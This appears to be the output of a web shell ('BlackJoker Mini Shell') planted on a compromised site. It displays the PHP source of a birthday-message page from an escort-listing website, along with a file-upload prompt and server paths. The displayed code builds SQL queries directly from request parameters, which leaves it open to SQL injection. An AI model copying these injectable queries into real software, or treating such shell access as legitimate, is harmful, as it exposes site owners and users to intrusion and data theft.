GIF89a; Mini Shell

Mini Shell

Direktori : /home/serb/public_html/
Upload File :
Current File : /home/serb/public_html/birthdaymsg.php

<?
  session_start();
 include("lib/globals.php");
 include("lib/common.php");
 include("lib/functions.php");
 ?>
 <?
 	if($_POST)
	{
		$birthmsg=addslashes($_POST['message']);
		$sql_email="select * from escort_details where id='".$_POST['estid']."'";
		$res_email=execute_query($sql_email);
		$row_email=mysql_fetch_array($res_email);
		
		$emailid=$row_email['email'];
		
		$to=$emailid;
		$subject=$_SESSION['user']."wished you Happy Birth Day ";
		$body=$birthmsg;
						
		// $headers = 'From:escortservice<support@escortservice.org>' . "\r\n" .
		// 'Reply-To: support@escortservice.org' . "\r\n" .
		// 'X-Mailer: PHP/' . phpversion();
						
		sendEmail($to, $subject, $body);
		// mail($to, $subject, $body, $headers);
		?>
		<script language="javascript">
			location.href="birthdaylist.php";
		</script>
		<? 	
			
	}
 ?>
 
<? include "includes/header_top.php";?>
<link rel="stylesheet"  href="css/elements.css" />
<script src="js/my_js.js"></script>		
<body onLoad="div_show();">

 <? include "includes/header.php";?>
	    
    <div class="main_bg">
   
 		<div style="height:32px;"></div>
        <div  style="width:1000px; margin:0 auto;">
        	
            <div class="statedetails">
                	
                    <div class="stdtls_midder">
                    	<div style="height:10px;"></div>
                        	
                    	<div class="left_containmain"> 
                                                 
                           
                           <div style=" width:960px; margin:0 auto; font-family:'Open Sans',sans-serif; font-size:14px; color:#000;">
                          		
                               	<div class="postadpagebody">
                                	<h1>Birthday Message</h1>
                                    
                                    <div class="tourlist">
                                    	<div class="update_letest2222">
                          	<?
								$sql_escort="select * from escort_details where id='".$_GET['estid']."'";
								$res_escort=execute_query($sql_escort);
								$row_escort=mysql_fetch_array($res_escort);
							
							?>
                          
                          
                          <div id="abc">
                       	 <div id="popupContact"> 
                            <?php /*?><div class="popupProfilePic">
                            	<? $sql_pic="SELECT * FROM escort_photo where postid='".$row_escort['id']."' ORDER By id DESC LIMIT 0 ,4";
								   $res_pic=execute_query($sql_pic);
								   $row_pic=mysql_fetch_array($res_pic)
								   ?>
                                	<img src="avtar/<?=$row_pic['picture']?>"  />
                           </div><?php */?>                        
                            
                            <div class="contactin" >    	
                            <!--<form action="sendmail-process.php" method="post" id="form11" name="f1" onSubmit="return validate();" >-->                      		<form id="messageform" class="contact_form" name="contact_form" accept-charset="utf-8" method="post" action="<?=$_SERVER['PHP_SELF']?>" >
                                    <!--<h2>Email <?=$row['user_name_screen']?></h2><hr/>-->
                                 
                            <div id="avt1" class="msgcontain">                     
                                    <table border="0" cellpadding="0" cellspacing="0" style="margin:0 auto;">                        
                                        <tr>                        
                                            <td class="wanttext">                        
                                               Send Birthday Message <br />
                                            </td> 
                                        </tr> 
                                        <tr height="15"></tr>
                                       <!-- <tr>
                                        	<td>Your Email:<br/><input type="text" name="email" class="main_input" style="width:220px !important;" /></td>
                                        </tr>    -->                   
                                        <tr height="5"></tr>
                        
                                        <tr>
                                         <td>Your Message:
                        
                                            <textarea name="message" style="background: linear-gradient(to bottom, #dedede 0px, #fff 100%) repeat scroll 0 0 rgba(0, 0, 0, 0) !important; width:240px !important; height:150px; border: 1px solid #9b9b9b; border-radius: 5px; box-shadow: 0 2px 3px -1px #b7b7b7 inset; color: #444;"></textarea>                      
                                            
                        
                                         </td>
                        
                                        </tr>
                        
                                       <tr>
                        
                                        <td align="center"><a href="birthdaylist.php"><img src="images/cancel.png" /></a>&nbsp;
                                        	<input type="image" src="images/submit.png" />
                                            <input type="hidden" name="estid" value="<?=$row_escort['id']?>" />
                                        </td>
                        
                                       </tr>
                        
                                    
                        
                                    </table>
                        		  </div>
                            
                                  
                        
                           </form>
                          </div>
                                                        
                        
                       </div>
                  </div>
                                      
                                       </div>
                                    
                                    
                                    </div>
                                    
                                
                                </div>
                                
                                <br class="spacer" />
                               
            						
						
                        	</div>
                        <br class="spacer" />
                        </div>
                        
                         
                        
                        
                    
                    </div>
                    <div class="stdtls_footer"></div>
                </div>
            
            <br class="spacer" />
            
        </div>
     
 </div>

<? include "includes/footer.php";?>

./BlackJoker Mini Shell 1.0